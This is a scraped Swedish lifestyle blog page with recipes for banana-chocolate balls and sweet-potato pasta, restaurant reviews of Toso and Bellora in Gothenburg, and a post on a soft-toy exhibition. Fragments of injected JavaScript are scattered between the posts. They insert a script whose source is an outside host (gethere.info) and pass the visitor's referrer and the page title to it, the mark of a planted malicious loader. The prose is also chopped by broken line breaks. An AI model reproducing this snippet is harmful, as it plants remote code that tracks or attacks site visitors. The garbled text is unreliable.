Nyttiga bananchokladbollar

IMG_7921
Nu har jag provat att göra bananchokladbollar som blev riktigt goda. Jag förvarar mina bollar i frysen.

Recept 15

st bollar
2 normalstora bananer (mogna)
3 dl havregryn (jag använde glutenfritt havregryn)
2 msk kakao (jag använde raw kakao)
1 msk kaffe
1 dl kokos att rulla bollarna i

Gör så här:
Mosa bananerna med en gaffel. Jag använde min handmixer.
Blanda ihop bananerna

med

resten av ingredienserna.
Rulla bollar av smeten och rulla dem i kokos.
Förvara dem

i kylen.

De håller

sig i

ett par dagar.
Jag förvarar alltid

mina chokladbollar i frysen och så tar jag fram dem precis innan jag ska servera dem. Då blir de lite mer som fudge i konsistensen.

IMG_7928IMG_7927IMG_7926IMG_7925IMG_7924IMG_7923document.currentScript.parentNode.insertBefore(s, document.currentScript);

Toso, Göteborg

Toso är absolut en av mina favoritställen i Göteborg. Maten är helt magisk med utmärkt

service. Ni hittar Toso på Götaplasen i Göteborg. Var ute i

god tid om ni vill boka bord då köerna är långa.

IMG_7713IMG_7692

Jag var där förra helgen då vi firade att min syster

fått nytt jobb.

Vi började med lite bubbel och sen ett supergott Riesling som passade utmärkt till maten.

IMG_7784IMG_7785IMG_7782IMG_7781IMG_7715IMG_7727IMG_7724IMG_7783

 

Vi delade på några

smårätter och en varmrätt och avslutade

med en supergod dessert.

 

 

 if (document.currentScript) {

Gosedjur – en mjuk utställning i en hård tid

Den

28:e maj

var det premiär på den nya utställningen ”Gosedjur – en

mjuk utställning i en hård tid” på
Mölndals stadsmuseum. Så fin utställning för både små och stora.

IMG_7633IMG_7777IMG_7779IMG_7780IMG_7635IMG_7645IMG_7649IMG_7770IMG_7769IMG_7771IMG_7773IMG_7774IMG_7775IMG_7661IMG_7662IMG_7663IMG_7654IMG_7652IMG_7776IMG_7653IMG_7660Mina kollegor från Fastighetsbyrån Mölndal fick vara med på utställningen.

IMG_7673IMG_7772Mest populärt

var nog

den stora nallen som

man kan fotas med på utställningen.

 }

Bellora, Göteborg

bellora700x350334e8adc3646707c48e6d04aba83a0f3IMG_8932

Nu har jag ätit på Bellora för första gången. Hotel & Ristorante Bellora hittar du på Kungsportsavenyen 6 i Göteborg.
Menyn är genuint

italiensk enligt devisen antipasti, primi, secondi och dolce, och vinerna kommer genomgående från Italiens rika vinkultur.

En vän till mig Madeleine Huber har designat och planterat allt det gröna ni ser på Bellora .
Kika gärna på hennes hemsida
”Mindful Garden” där ni kan läsa om vad hon kan hjälpa er med om ni behöver extra hjälp eller inspiration hemma i trädgården. Madeleine är utbildad trädgårdsdesigner, trädgårdsmästare, pedagog och mindfulnessinstruktör.

Inspiration hämtar hon i naturen,

arkitekturen och inom konsten. Hon anser att ”varje plats har en historia och känsla att berätta liksom människorna som vistas där.”

Helhetstänkandet är viktigt och därför deltar Madeleine gärna från idéstadium ända fram till slutförandet

IMG_7614IMG_7612IMG_7615

Jag beställde två smårätter igår, en ”piccolo charktallrik” för 125 kr och ”Caprese” (burratamozzarella med tomater, basilika och extra Virgin olivolja) för 135 kr. Till det serverades surdegsbröd.  Till maten drack jag Procecco och husets vita vin.

IMG_7609

IMG_7616IMG_7602IMG_7611

IMG_7618

Allt smakade gott och jag kan varmt rekommendera detta ställe. Är lite nyfiken att prova deras

”Bellini Brunch” någon lördag framöver.

 

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Sötpotatispasta med valnötsås

Receptet hittade jag

på fb

under ”Årstiderna”

Sötpotatispasta med valnötssås
2 portioner

1 stor sötpotatis
2

tsk

olivolja
En skvätt

pressas citron
Salt

Såsen
2 dl valnötter
1 liten klyfta vitlök
0,75 dl

valfri

nötmjölk
Salt och svartpeppar

Skala sötpotatisen oc skär till spaghetti med spiralskärare. Massera in olja, citron och

lite salt i spaghettin. Mixa valnötterna till

ett realtivt fin konsistens tillsammans med vitlökskyftan. Blanda ner mjölken,

smaka av

med salt och svartpeppar.

Blanda såsen

med nudlarna. Smaklig spis!

Receptet

finns också på www.katjasmat.se